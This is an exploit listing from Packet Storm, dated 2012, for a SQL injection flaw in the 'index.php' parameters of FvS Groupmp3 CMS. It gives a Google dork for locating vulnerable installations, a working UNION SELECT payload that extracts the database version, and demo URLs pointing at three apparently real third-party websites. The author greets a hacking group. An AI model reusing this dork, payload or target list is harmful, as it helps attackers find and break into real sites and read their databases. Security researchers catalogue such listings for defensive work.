FvS Groupmp3 CMS suffers from a remote SQL injection vulnerability. Note that this finding houses site-specific data.
cd335c36fbb8a27835621d98fa4021a307685f5f42abf5058722c07616195bb8# Exploit Title: FvS Groupmp3 cms Sql Injection ~
# Google Dork: inurl:/index.php?adi=mp3
# Date: 09/28/2012
# Author: Crim3R
# Vendor Home:
# Version: -
# Tested on: Linux Redhat
===============[Vuln Codes]=============
adi parametr in index.php is injectable
D3M0 :
mp3.saytim.az/index.php?adi=mp3&id=-1236+union+select+1,2,@@version,4,5,6,7,8,9,10--
mp3.silent.az/index.php?adi=mp3&id=1602
mp3.yeni.az/index.php?adi=mp3&id=1490
===============Crim3R@Att.Net===========
Sp TnX : Turkblackhats.com - secure-land.net
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed